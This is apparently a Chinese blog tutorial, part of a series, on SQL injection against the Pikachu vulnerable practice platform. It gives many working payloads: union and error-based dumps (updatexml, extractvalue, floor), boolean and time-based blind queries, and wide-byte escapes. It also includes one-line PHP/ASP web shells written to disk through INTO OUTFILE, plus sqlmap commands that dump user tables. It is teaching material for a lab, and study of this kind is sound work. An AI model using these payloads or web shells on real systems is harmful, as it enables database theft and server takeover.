1.概述

1.1发生原因

SQL注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。

比如我们期望用户输入整数的id,但是用户输入了上图中下面的语句,这是条能被正常执行的SQL语句,导致表中的数据都会输出。

1.2SQL注入攻击流程

第一步:注入点探测

  • 自动方式:使用web漏洞扫描工具,自动进行注入点发现
  • 手动方式:手工构造SQL注入测试语句进行注入点发现

第二步:信息获取

通过注入点取得期望得到的数据

  • 1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
  • 2.数据库信息:数据库蜜罐,数据库表,表字段,字段内容等(加密内容破解)

第三步:获取权限

  • 获取操作系统权限:通过数据库执行shell,上传木马

1.3注入点类型

分类根据:输入的变量传入到SQL语句是以什么类型拼接的

  • 数字型:user_id=$id
  • 字符型:user_id='$id'
  • 搜索型:text LIKE '%{$_GET['search']}%'"

2.数字型注入(POST)

这里可以根据我们选择的 userid 返回用户名和邮箱

测试注入时,我们需要思考提交的参数后台是如何操作的。我们提交了一个d,返回了用户名和邮箱。

正常来说,我们的数据是放在数据库里的,当我们提交了这个id的,后台会带这个参数到数据库里查询。

因为是用POST语句取得我们传递的参数值,传递给一个变量,再到数据库查询。所以我们猜测后台的查询语句大概是下面这样的

$id=$_POST['id']
select 字段1,字段2 from 表名 where id=$id

下面我 BurpSuite 抓包来测试一下,把传入的参数改成下面的语句,看看返回的结果

 or =

我们把 BurpSuite 中拦截的包发到 Repeater 中,修改id参数的值,查看响应结果。可以看到取出了数据库中全部数据,说明存在数字型注入漏洞。

3.字符型注入(GET)

我们输入“kobe”,可以得到下面的输出

输入不存在的用户时,会提示用户不存在。另外这是一个 GET 请求,我们传递的参数会出现都 URL 中

因为这里输入的查询用户名是字符串,所以在查询语句中需要有单引号。猜想后台的SQL查询语句为

$name=$_GET['username']
select 字段1,字段2 from 表名 where username='$name'

我们需要构造闭合,闭合后台查询语句中的第一个单引号,然后注释掉第二个单引号,构造的payload如下

kobe' or 1=1#

MySQL中有3种注释:

① #

② -- (最后面有个空格)

③ /**/,内联注释,这个可以在SQL语句中间使用。select * from /*sqli*/ users;

这时候我们也能看到这个表中的全部信息了

4.搜索型注入

这个功能运行我们输入用户名的一部分来查找,可以猜想后台使用了数据库中的搜索这个逻辑,比如用了 LIKE 。比如

select 字段1,字段2 from 表名 where username like '%$name%'

如果真是这样,我们就可以构造对应的闭合,闭合前面的 单引号 和 百分号,注释后面的百分号和单引号。构造的payload如下

k%' or 1=1#

这时候也能取出表中的全部数据了

5.XX型注入

后台存在各种方式拼接我们的SQL语句,所以我们需要尝试构造各种各样的闭合。比如在这里后台就是用括号的方式拼接SQL查询语句的

构造的payload如下

kobe') or 1=1#

6.通过information_schema拿下数据库

6.1union和information_schema

基于union联合查询的信息获取

通过联合查询来查询指定的数据,比如下面的语句

select username,password from user where id=1 union select 字段1,字段2 from 表名

联合查询的字段数需要和主查询一致,上面主查询查询了 2 个字段 username 和 password,所以我们的 union 语句也要查询两个字段。

我们可以通过用databases(),user(),version()查询数据库的数据库、用户和版本信息。

select database();
select user();
select version();

使用 union 需要知道主查询有多少个 字段,我们可以用 order by 来帮助我们猜测后台查询语句查询的字段数。

select 字段1,字段2 from users order by 1

后面跟着的数字表示根据查询结果的第几列进行排序,如果后台查询 2 个字段,那我们 order by 3 时就会报错,order by 2 时会正常返回

根据后台返回的结果我们就能知道后台有 2 个查询字段

information_schema

在mysql中,自带的 information_schema 库里存放了大量的重要信息,如果存在注入点,我们可以访问这个表获得更多信息。

里面有3个基本的表

  • SCHEMATA:提供了MySQL实例中所有数据库的信息,show databases 的结果来自这个表
  • TABLES:提供了关于数据库中表的信息(包括视图)。描述了某个表属于哪个数据库。
  • COLUMNS:提供了表中各列的信息,描述了某种表的所有列以及每个列的信息。

6.2实验

通过 pikachu 平台的字符型注入进行演示。我们先输入一个单引号,提交后后台报错,说SQL语句错误,说明存在注入点。

然后构造下面的payload,可以取出表中的全部数据

' or 1=1#

我们继续利用 SQL注入漏洞,获取基础信息,我们先用 order by 确认主查询有多少个字段

' or 1=1 order by 1#
' or 1=1 order by 2#
' or 1=1 order by 3#

当 odery by 3时报错,说明主查询中有 2 个字段,下面可以用 union 查询更多信息

通过下面的语句获取当前数据库的名称

' union select database(),user() #

数据库名称为 pikachu

下面利用 information_shcema 查询 pikachu 中的表名

' union select table_schema,table_name from information_schema.tables where table_schema='pikachu' #

有了表名后,我们查询表中的列名,比如查询 users 这个表

' union select table_name,column_name from information_schema.columns where table_name='users' #

所得结果如下(部分)

这时候我们已经知道数据库叫 pikachu,表名为 users,吸引我们的列名是 username,password

' union select username,password from users #

我们这时候就已经取得了经过md5加密的密码

7.insert/update/delete注入

在这3种情况中,我们不能使用 union 去做联合查询,因为这不是查询,而是操作

7.1基于函数报错注入(updatexml)

常用的报错函数:updatexml()、extractvalue()、floor()

基于函数报错的信息获取(select / insert / update / delete)

技巧思路:

  • 在 MySQL 中使用一些指定的函数来制造报错,从报错信息中获取设定的信息
  • select / insert /update / delete 都可以使用报错来获取信息

背景条件:

  • 后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端

三个常用函数

  • updatexml(): MySQL 对 XML 文档数据进行查询和修改的 XPATH 函数
  • extractvalue():MySQL 对 XML 文档数据进行查询的 XPATH 函数
  • floor():MySQL中用来取整的函数

updatexml()

updatexml()函数作用:改变(查找并替换)XML 文档中符合条件的节点的值

语法:UPDATEXML (XML_document, XPath_string, new_value)

  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

  • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。不过这里用不到。

  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据

  • Xpath语法:https://www.cnblogs.com/Loofah/archive/2012/05/10/2494036.html

XPath 定位必须是有效的,否则会发生错误

我们在 pikachu 平台上的字符型注入中实验,我们利用报错来获取信息,比如下面这条语句

' and updatexml(1, version(), 0)#

我们传入 updatexml 中的三个参数都是错误的,中间那个值可以用表达式写入。执行后会得到类似下面的错误

我们需要构造一个新的 payload,把报错信息和我们查询的信息一起输出,构造下面的 payload如下,0x7e是符号 “~” 的16进制

' and updatexml(1, concat(0x7e, version()), 0)#

这时候就会打印出我们 MySQL 的数据版本了。那我们把 version() 换成 database() 就能取得数据库的名称了。

知道了数据名我们继续查询表名

' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu')), 0)#

但是此时会报错,返回的数据多于 1 行(不止一个表) ,只能显示 1 行报错信息

我们在刚刚的 payload 后面用 limit 关键字,限制取回的结果

' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)), 0)#

上面返回了查询结果中的第一个表名,如果要查询第二个表名,我们可以把 limit 语句换成 limit 1,1

limit 后的第一个数据是起始位置,第二个数字是取出的数据条数

以此类推,取出所有的表名。有了表的名称后我们就去获取字段

' and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1)), 0)#

以此类推,取出所有的列名。我们就能去取数据了

' and updatexml(1, concat(0x7e, (select username from users limit 0,1)), 0)#

然后根据得到的用户名,去查询password

' and updatexml(1, concat(0x7e, (select password from users where username = 'admin' limit 0,1)), 0)#

7.2insert/update注入

在这里,注册页面存在注入漏洞

所谓 insert 注入是指我们前端注册的信息,后台会通过 insert 这个操作插入到数据库中。如果后台没对我们的输入做防 SQL 注入处理,我们就能在注册时通过拼接 SQL 注入。

我们就填必填的两项,用户那里输入单引号,密码随便输入,页面会有报错信息,说明存在SQL注入漏洞

这种情况下,我们知道后台使用的是 insert 语句,我们一般可以通过 or 进行闭合。后台的 SQL 语句可能是下面这个样子

insert into member(username,pw,sex,phonenum,email,adderss) values('doge', , , , , );

构造下面的 payload,基于 insert 下的报错来进行注入

doge' or updatexml(1, concat(0x7e,database()), 0) or '

这时候报错的信息就能前一个例子是一样的,后面的操作也是这样

下面看看 update 注入,比如我们更改密码的时候,后台就是通过 update 去操作的。

登录账号:lucy,123456

我们在这里填入我们刚刚构造的 payload,然后提交也能得到相应的结果

7.3delete注入

这里有一个留言板,点删除可以把对应的留言删掉

我们点删除并用 BurpSuite 抓包,实际上就是传递了一个留言的 id,后台根据这个 id 去删除留言

后台可能的 SQL 语句如下

delete from message where id=

我们发送到 Repeater 中继续进行实验,由于参数的值是数字型,所以后台可能存在数字型注入漏洞,构造payload如下(没有单引号)

 or updatexml(, concat(0x7e,database()), ) 

把 payload 经过 URL编码后替换 BurpSuite 中 id 的值

我们也能得到同样的结果

7.4extractvalue()

核心原理是一样的,也是对 XML

  extractvalue()函数作用:从目标 XML 中返回包含所查询值的字符串

语法:ExtractValue(xml_document, XPathstring)

  • 第一个参数:xml_document 是 string 格式,为 XML 文档对象的名称
  • 第二个参数: XPathstring,XPath 格式的字符串

Xpath定位必须有效,否则会发生错误。

同样在字符型漏洞中实验,构造以下 payload

' and extractvalue(1, concat(0x7e,database())) #

它跟 updatexml 使用起来效果是一样的

7.5floor()

向下取整。如果要用 floor() 构成报错,必须满足下面的条件

  • 运算中有 count
  • 运算中有 group by
  • 运算中有 rand
' and (select 2 from (select count(*), concat(version(), floor(rand(0) * 2))x from information_schema.tables group by x)a)#

上面表达式执行的结果会以 “a” 作为别名,然后在 字符型注入 中提交,会得到下面的报错

我们可以把 version() 的表达式替换成别的表达式

' and (select 2 from (select count(*), concat((select password from users where username='admin' limit 0,1), floor(rand(0) * 2))x from information_schema.tables group by x)a)#

8.http header注入

有些时候,后台开发人员为了验证客户端头信息(比如cookie验证)

或者通过http header获取客户端的一些信息,比如useragent,accept字段等

会对客户端的http header信息进行获取并使用SQL进行处理,如果此时并没有足够的安全考虑

则可能会导致基于 http header 的 SQL 注入漏洞

登录账号:admin / 123456

登陆之后会记录以下信息

根据这个功能,我们知道后台会获取 http header 里的数据,比如 user agent 等。那么它有对数据库操作吗?下面BurpSuite修改发包内容

把 User-Agent 改为一个单引号,发包看看后台处理的结果,发现直接报了 SQL 语法错误

这说明存在 SQL 注入漏洞,后台可能会 insert 到数据库中,这个 payload 跟前面的 insert 实验的是一样的

' or updatexml(1, concat(0x7e, database()), 0) or '

我们这时候就能取得数据库名,后面的操作就是一样的了

还有 cookie 也是可以注入的,后端可能会取得我们的 cookie,后端通过拼接 SQL 语句进行验证

我们在 cookie 的用户名后面加上一个单引号并发送

这时候也会报 MySQL 的语法错误

说明存在 SQL 注入漏洞,我们可以构造下面的 payload 进行测试

admin' or updatexml(1, concat(0x7e, database()), 0)#

然后我们也会取得数据库名,再按常用方法继续测试取得数据库中的数据

9.盲注

在有些情况下,后台使用了错误屏蔽方法屏蔽了报错

此时无法根据报错信息来进行注入的判断

这种情况下的注入,称为“盲注”

9.1盲注(based on boolean)

基于真假的盲注主要特征

  • 没有报错信息
  • 不管是正确的输入,还是错误的输入,都只有两种情况(可以看做 0 or 1)
  • 在正确的输入下,后面跟 and 1=1 / and 1=2 进行判断

我们在皮卡丘平台一进行实验,输入下面的测试语句

kobe' and 1=1#
kobe' and 1=2#

发现一条正确执行,一条显示用户名不存在,说明后台存在 SQL 注入漏洞

因为这里的输出只有 用户名存在 和 用户名不存在 两种输出,所以前面基于报错的方式在这不能用

我们只能通过 真 或者 假 来获取数据,所以手工盲注是很麻烦的

我们可以先用 length(database()) 判断 数据库名称的长度

kobe' and length(database())>5#
。。。
kobe' and length(database())=7#

再用 substr() 和 ascii() 判断数据库由哪些字母组成(可以用二分法)

kobe' and ascii(substr(database(), 1, 1)) > 113#
kobe' and ascii(substr(database(), 1, 1)) > 105#
。。。
kobe' and ascii(substr(database(), 1, 1)) = 112#

不断重复,然后取得数据库名。再和 information_schema 和 length 猜测 表名 的长度,我们可以用下面的 SQL 语句替代上面的 database()

(select table_name from information_schema.tables where table_schema=database() limit ,)

先判断表名长度

kobe' and  length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,100)) = 8#

然后猜解表名

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)) > 113#
。。。
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)) =104#

同样的方法去猜解列名、数据,就是麻烦,用工具会方便些

9.2盲注(based on time)

基于真假的盲注可以看到回显的信息,正确 or 错误

基于时间的注入就什么都看不到了,我们通过特定的输入,判断后台执行的时间,从而确定注入点,比如用 sleep() 函数

在皮卡丘平台一,无论输入什么,前端都是显示 “I don't care who you are!”

我们按 F12 打开控制台,选到网络

然后我们输入下面的 payload 进行测试

kobe' and sleep(5)#

如果存在注入点,后端就会 sleep 5秒才会返回执行结果

看到上面的结果说明我们注入成功了,构造下面的 payload,用 database() 取得数据库的名称,再用 substr 取字符判断数据库名称的组成,如果猜解成功就会 sleep 5秒,否则没有任何动作

kobe' and  if((substr(database(), 1, 1))='p', sleep(5), null)#

后面也跟真假注入是一样的了,替换 database() 就可,如

kobe' and  if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1))='h', sleep(5), null)#

10.OS远程控制

一句话木马

短小而精悍的木马客户端,隐蔽性好,功能强大。利用各种语言中的函数执行代码、操作系统命令等。

  • PHP:<?php @eval($_POST['chopper']);?>
  • ASP:<%eval request("chopper")%>
  • ASP.NET:<%@ Page Language="Jscript"%><%eval(Request.Item["chopper"], "unsafe");%>

通过 SQL 注入漏洞写入恶意代码

前提条件:

  • 需要知道远程目录
  • 需要远程目录有写权限
  • 需要数据库开启了 secure_file_priv,MySQL新特性,没有开启的话 into outfile 是不能写入的

我们先开启 secure_file_priv,在服务器中输入下面的 MySQL 命令查看 secure_file_priv 开启情况。如果不为空,而是 null,就需要开启

show global variables like "%secure%";

我是在 Win7 中用 PHPstudy,在 my.ini 中添加下面的设置然后重启服务即可

下面我们在 字符型注入 中进行实验,构造的 payload 如下

kobe' union select "<?php @eval($_GET['test']);?>", 2 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\1.php"#

这时候,我们 select 出来的内容就被写入到了 1.php 中

然后我们就能通过这个文件执行 php 代码

我们可以用下面的 payload 执行操作系统命令

kobe' union select "<?php system($_GET['cmd']);?>", 2 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\2.php"#

然后可以用上传的文件执行操作系统命令,比如查看系统上的用户

我们还可以用 中国菜刀 连上我们写入的一句话木马

11.表(列)名的暴力破解

我们之前都是通过 information_schema 去获取的信息,很多时候我们没有权限去读取里面内容,也可能是别的数据库,没有 information_schema

常用的方法就是用暴力破解的方式去获得表名和列名

kobe' and exists(select * from aa)#

比如用上面的 payload,遍历我们字典中的表名,把 拦截 的数据包发到 BurpSuite 中的 Intruder 中,暴力破解 表名即可

表名不存在时,会提示 doesn't exist,我们匹配这句话

这时候就爆破出一个表名了——users

然后同样的思路爆破列名

kobe' and exists(select aa from users)#

12.SQL注入防范措施

  • 代码层面

    • 对输入进行严格的转义和过滤
    • 使用预处理和参数化(Parameterized)
  • 网路层面
    • 通过WAF启用防范SQL Inject
    • 云端防护(360网站卫士,阿里云盾)

转义和过滤

预处理和参数化

网络防范

13.sqlmap简单使用

用 sqlmap 测试是否存在注入点

sqlmap -u "http://192.168.171.133/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2"

找到了一个注入点,参数是 name,后面是 sqlmap 使用的payload

然后使用 --current-db 查看当前的库名

sqlmap -u "http://192.168.171.133/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --current-db

用 -D 指定我们数据库名,用 --tables 去获取表名

sqlmap -u "http://192.168.171.133/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables

然后获取表中的列名

sqlmap -u "http://192.168.171.133/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns

然后获取 users 表中的用户名和密码

sqlmap -u "http://192.168.171.133/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password --dump

然后我们可以用 sqlmap 自带的字典爆破明文密码

14.宽字节注入

当我们输入有单引号时被转义为\’,无法构造 SQL 语句的时候,可以尝试宽字节注入。

GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”。

在皮卡丘平台中,将利用 BurpSuite 截获数据包,发送到 Repeater 中,在里面写入 payload

当我们用通常的测试 payload时,是无法执行成功的,下面的payload会报错

kobe' or 1=1#

因为在后台单引号会被转义,在数据库中执行时多了个反斜杠。我们可以用下面的payload,在单引号前面加上 %df,让单引号成功逃逸

kobe%df' or 1=1#

在皮卡丘漏洞平台中,用的是 escape 函数转义,这个函数的作用可以参考下面的博客

https://blog.csdn.net/chenjiayi_yun/article/details/43085579

Pikachu漏洞练习平台实验——SQL注入(四)的更多相关文章

  1. Pikachu漏洞练习平台实验——XSS(二)

    概述 简介 XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户 XSS漏洞可以用来进行钓鱼攻击.前端js挖矿.盗取用户cookie,甚至对主机进行远程控制 攻击流程 假设存在漏洞的是 ...

  2. Pikachu漏洞练习平台实验——php反序列化、XXE、SSRF(九)

    1.序列化和反序列化 1.1.概述 在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数. 序列化serialize()序列化说通俗点就是把一个对象变成 ...

  3. Pikachu漏洞练习平台实验——不安全的文件下载和上传(七)

    1.不安全的文件下载 1.1.概述 文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下 ...

  4. Pikachu漏洞练习平台实验——文件包含(File Inclusion)(六)

    1.概述 1.1简介 在 Web 后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用 “包含” 函数功能.比如把一系列功能函数都写进 function.php 中,之后当某个文件需要调 ...

  5. Pikachu漏洞练习平台实验——RCE(五)

    1.概述 RCE(Remote Command/Code Execute) 给攻击者向后台服务器远程注入操作系统命令或者代码,从而控制后台系统. 远程系统命令执行一般出现这种漏洞,是因为应用系统从设计 ...

  6. Pikachu漏洞练习平台实验——CSRF(三)

    概述 CSRF 是 Cross Site Request Forgery 的 简称,中文名为跨域请求伪造 在CSRF的攻击场景中,攻击者会伪造一个请求(一般是一个链接) 然后欺骗目标用户进行点击,用户 ...

  7. Pikachu漏洞练习平台实验——越权漏洞(八)

    1.概述 由于没有对用户权限进行严格的判断 导致低权限的账号(比如普通用户)可以去完成高权限账号(比如超管)范围内的操作 水行越权:A用户和B用户属于同一级别用户,但各自不能操作对方个人信息.A用户如 ...

  8. Pikachu漏洞练习平台实验——暴力破解(一)

    概述 一个有效的字典可以大大提高暴力破解的效率 比如常用的用户名/密码TOP500 脱裤后的账号密码(社工库) 根据特定的对象(比如手机.生日和银行卡号等)按照指定的规则来生成密码 暴力破解流程 确认 ...

  9. 20169214 2016-2017-2 《网络攻防实践》第十一周实验 SQL注入

    20169214 2016-2017-2 <网络攻防实践>SQL注入实验 SQL注入技术是利用web应用程序和数据库服务器之间的接口来篡改网站内容的攻击技术.通过把SQL命令插入到Web表 ...

随机推荐

  1. 【JAVA】增强for循环for(int a : arr)

    介绍 这种有冒号的for循环叫做foreach循环,foreach语句是java5的新特征之一,在遍历数组.集合方面,foreach为开发人员提供了极大的方便. foreach语句是for语句的特殊简 ...

  2. 第一个chrome extension

    如今,chrome浏览器的使用如越来越流行,chrome extension往往能提供更多很丰富的功能.以前一直想了解这方面的东西,可是又担心很复杂.前段时间,在斗鱼看一个直播,想刷弹幕,但是每次自己 ...

  3. ajaxSubmit 实现图片上传 SSM maven

    文件上传依赖: <!-- 文件上传组件 --> <dependency> <groupId>commons-fileupload</groupId> & ...

  4. [书接上一回]在Oracle Enterprise Linux (v5.7) 中安装DB - (2/4)

    在最后一行,书写shmfs /dev/shm tmpfs size=2g 0 用来调高数据库运行是的内存分配问题. 创建需要的路径和分配权限. 设置 oracle 用户环境参数. 修改标头显示的部分. ...

  5. VS2012在解决方案资源管理器显示解决方案名称

    工具>选项>项目与解决方案(需点右下方的显示所有)>点上 总是显示解决方案

  6. 树——binary-tree-maximum-path-sum(二叉树最大路径和)

    问题: Given a binary tree, find the maximum path sum. The path may start and end at any node in the tr ...

  7. Oracle常用基础语法(未完待补和操作)

    这篇博客主要是Oracle常用基础语法, 另外,存储过程和存储函数很重要,这个后期看视频学习,还有DB优化,另外,还有plsql develop和navicat的使用,重点是数据的导入导出: ---- ...

  8. Oracle12c修改时区

    Oacle12c支持可插入数据库(PDB)在一个统一的数据库(CDB)中具有不同的字符集.时区文件版本和数据库时区. 出于性能原因,Oracle建议将数据库时区设置为UTC(0:00),因为不需要转换 ...

  9. 2 什么是编码?什么是Unicode?

    为了避免在浏览器中传输数据的时候出现中文乱码,我们可以将内容进行URL编码,当然也可以将内容进行UNICODE编码.将汉字进行UNICODE编码,如:“王”编码后就成了“\u738b”,UNICODE ...

  10. python全栈开发,Day42(Thread类的其他方法,同步锁,死锁与递归锁,信号量,事件,条件,定时器,队列,Python标准模块--concurrent.futures)

    昨日内容回顾 线程 什么是线程? 线程是cpu调度的最小单位 进程是资源分配的最小单位 进程和线程是什么关系? 线程是在进程中的一个执行单位 多进程 本质上开启的这个进程里就有一个线程 多线程 单纯的 ...